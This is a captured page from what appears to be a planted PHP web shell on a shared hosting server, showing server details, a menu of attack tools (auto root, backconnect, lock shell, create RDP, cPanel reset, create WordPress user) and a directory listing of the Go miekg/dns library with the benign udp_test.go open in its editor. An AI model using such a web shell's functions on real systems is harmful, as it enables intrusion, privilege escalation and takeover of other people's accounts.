Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
github.com /
miekg /
dns@v1.1.41 /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
dr-xr-xr-x
dnsutil
[ DIR ]
dr-xr-xr-x
.codecov.yml
128
B
-r--r--r--
.gitignore
24
B
-r--r--r--
AUTHORS
27
B
-r--r--r--
CODEOWNERS
18
B
-r--r--r--
CONTRIBUTORS
150
B
-r--r--r--
COPYRIGHT
512
B
-r--r--r--
LICENSE
1.58
KB
-r--r--r--
Makefile.fuzz
671
B
-r--r--r--
Makefile.release
992
B
-r--r--r--
README.md
5.83
KB
-r--r--r--
acceptfunc.go
1.83
KB
-r--r--r--
acceptfunc_test.go
859
B
-r--r--r--
client.go
13.88
KB
-r--r--r--
client_test.go
16.25
KB
-r--r--r--
clientconfig.go
3.3
KB
-r--r--r--
clientconfig_test.go
4.63
KB
-r--r--r--
dane.go
997
B
-r--r--r--
defaults.go
10.3
KB
-r--r--r--
dns.go
4.34
KB
-r--r--r--
dns_bench_test.go
9.42
KB
-r--r--r--
dns_test.go
9.95
KB
-r--r--r--
dnssec.go
18.32
KB
-r--r--r--
dnssec_keygen.go
3.1
KB
-r--r--r--
dnssec_keyscan.go
6.16
KB
-r--r--r--
dnssec_privkey.go
2.27
KB
-r--r--r--
dnssec_test.go
28.57
KB
-r--r--r--
doc.go
10.54
KB
-r--r--r--
duplicate.go
953
B
-r--r--r--
duplicate_generate.go
3.95
KB
-r--r--r--
duplicate_test.go
3.77
KB
-r--r--r--
dyn_test.go
37
B
-r--r--r--
edns.go
19.69
KB
-r--r--r--
edns_test.go
3.09
KB
-r--r--r--
example_test.go
3.12
KB
-r--r--r--
format.go
2.4
KB
-r--r--r--
format_test.go
279
B
-r--r--r--
fuzz.go
536
B
-r--r--r--
fuzz_test.go
7.54
KB
-r--r--r--
generate.go
4.97
KB
-r--r--r--
generate_test.go
6.93
KB
-r--r--r--
go.mod
210
B
-r--r--r--
go.sum
1
KB
-r--r--r--
issue_test.go
1.19
KB
-r--r--r--
labels.go
4.11
KB
-r--r--r--
labels_test.go
7.88
KB
-r--r--r--
leak_test.go
1.81
KB
-r--r--r--
length_test.go
20.49
KB
-r--r--r--
listen_go111.go
881
B
-r--r--r--
listen_go_not111.go
485
B
-r--r--r--
msg.go
31.99
KB
-r--r--r--
msg_generate.go
10.22
KB
-r--r--r--
msg_helpers.go
21.54
KB
-r--r--r--
msg_helpers_test.go
11.86
KB
-r--r--r--
msg_test.go
9.12
KB
-r--r--r--
msg_truncate.go
3.4
KB
-r--r--r--
msg_truncate_test.go
5
KB
-r--r--r--
nsecx.go
2.38
KB
-r--r--r--
nsecx_test.go
4.77
KB
-r--r--r--
parse_test.go
65.88
KB
-r--r--r--
privaterr.go
3.23
KB
-r--r--r--
privaterr_test.go
3.51
KB
-r--r--r--
reverse.go
1.32
KB
-r--r--r--
rr_test.go
191
B
-r--r--r--
sanitize.go
1.98
KB
-r--r--r--
sanitize_test.go
2
KB
-r--r--r--
scan.go
29.12
KB
-r--r--r--
scan_rr.go
40.59
KB
-r--r--r--
scan_test.go
8.88
KB
-r--r--r--
serve_mux.go
3.37
KB
-r--r--r--
serve_mux_test.go
1.63
KB
-r--r--r--
server.go
21.53
KB
-r--r--r--
server_test.go
31.38
KB
-r--r--r--
sig0.go
4.59
KB
-r--r--r--
sig0_test.go
2.23
KB
-r--r--r--
singleinflight.go
1.56
KB
-r--r--r--
smimea.go
1.33
KB
-r--r--r--
svcb.go
19.95
KB
-r--r--r--
svcb_test.go
2.48
KB
-r--r--r--
tlsa.go
1.1
KB
-r--r--r--
tsig.go
10.98
KB
-r--r--r--
tsig_test.go
10.75
KB
-r--r--r--
types.go
36.03
KB
-r--r--r--
types_generate.go
8.63
KB
-r--r--r--
types_test.go
4.31
KB
-r--r--r--
udp.go
2.9
KB
-r--r--r--
udp_test.go
4.41
KB
-r--r--r--
udp_windows.go
1.15
KB
-r--r--r--
update.go
3.08
KB
-r--r--r--
update_test.go
4.38
KB
-r--r--r--
version.go
275
B
-r--r--r--
version_test.go
180
B
-r--r--r--
xfr.go
6.57
KB
-r--r--r--
xfr_test.go
2.72
KB
-r--r--r--
zduplicate.go
20.23
KB
-r--r--r--
zmsg.go
59.75
KB
-r--r--r--
ztypes.go
29.52
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : udp_test.go
// +build linux,!appengine package dns import ( "bytes" "net" "runtime" "strings" "testing" "time" "golang.org/x/net/ipv4" "golang.org/x/net/ipv6" ) func TestSetUDPSocketOptions(t *testing.T) { // returns an error if we cannot resolve that address testFamily := func(n, addr string) error { a, err := net.ResolveUDPAddr(n, addr) if err != nil { return err } c, err := net.ListenUDP(n, a) if err != nil { return err } if err := setUDPSocketOptions(c); err != nil { t.Fatalf("failed to set socket options: %v", err) } ch := make(chan *SessionUDP) go func() { // Set some deadline so this goroutine doesn't hang forever c.SetReadDeadline(time.Now().Add(time.Minute)) b := make([]byte, 1) _, sess, err := ReadFromSessionUDP(c, b) if err != nil { t.Errorf("failed to read from conn: %v", err) // fallthrough to chan send below } ch <- sess }() c2, err := net.Dial("udp", c.LocalAddr().String()) if err != nil { t.Fatalf("failed to dial udp: %v", err) } if _, err := c2.Write([]byte{1}); err != nil { t.Fatalf("failed to write to conn: %v", err) } sess := <-ch if sess == nil { // t.Error was already called in the goroutine above. t.FailNow() } if len(sess.context) == 0 { t.Fatalf("empty session context: %v", sess) } ip := parseDstFromOOB(sess.context) if ip == nil { t.Fatalf("failed to parse dst: %v", sess) } if !strings.Contains(c.LocalAddr().String(), ip.String()) { t.Fatalf("dst was different than listen addr: %v != %v", ip.String(), c.LocalAddr().String()) } return nil } // we require that ipv4 be supported if err := testFamily("udp4", "127.0.0.1:0"); err != nil { t.Fatalf("failed to test socket options on IPv4: %v", err) } // IPv6 might not be supported so these will just log if err := testFamily("udp6", "[::1]:0"); err != nil { t.Logf("failed to test socket options on IPv6-only: %v", err) } if err := testFamily("udp", "[::1]:0"); err != nil { t.Logf("failed to test socket options on IPv6/IPv4: %v", err) } } func TestParseDstFromOOB(t *testing.T) { if runtime.GOARCH != "amd64" { // The cmsghdr struct differs in the width (32/64-bit) of // lengths and the struct padding between architectures. // The data below was only written with amd64 in mind, and // thus the test must be skipped on other architectures. t.Skip("skipping test on unsupported architecture") } // dst is :ffff:100.100.100.100 oob := []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 100, 100, 100, 100, 2, 0, 0, 0} dst := parseDstFromOOB(oob) dst4 := dst.To4() if dst4 == nil { t.Errorf("failed to parse IPv4 in IPv6: %v", dst) } else if dst4.String() != "100.100.100.100" { t.Errorf("unexpected IPv4: %v", dst4) } // dst is 2001:db8::1 oob = []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 32, 1, 13, 184, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0} dst = parseDstFromOOB(oob) dst6 := dst.To16() if dst6 == nil { t.Errorf("failed to parse IPv6: %v", dst) } else if dst6.String() != "2001:db8::1" { t.Errorf("unexpected IPv6: %v", dst4) } // dst is 100.100.100.100 but was received on 10.10.10.10 oob = []byte{28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 2, 0, 0, 0, 10, 10, 10, 10, 100, 100, 100, 100, 0, 0, 0, 0} dst = parseDstFromOOB(oob) dst4 = dst.To4() if dst4 == nil { t.Errorf("failed to parse IPv4: %v", dst) } else if dst4.String() != "100.100.100.100" { t.Errorf("unexpected IPv4: %v", dst4) } } func TestCorrectSource(t *testing.T) { if runtime.GOARCH != "amd64" { // See comment above in TestParseDstFromOOB. t.Skip("skipping test on unsupported architecture") } // dst is :ffff:100.100.100.100 which should be counted as IPv4 oob := []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 100, 100, 100, 100, 2, 0, 0, 0} soob := correctSource(oob) cm4 := new(ipv4.ControlMessage) cm4.Src = net.ParseIP("100.100.100.100") if !bytes.Equal(soob, cm4.Marshal()) { t.Errorf("unexpected oob for ipv4 address: %v", soob) } // dst is 2001:db8::1 oob = []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 32, 1, 13, 184, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0} soob = correctSource(oob) cm6 := new(ipv6.ControlMessage) cm6.Src = net.ParseIP("2001:db8::1") if !bytes.Equal(soob, cm6.Marshal()) { t.Errorf("unexpected oob for IPv6 address: %v", soob) } }
Close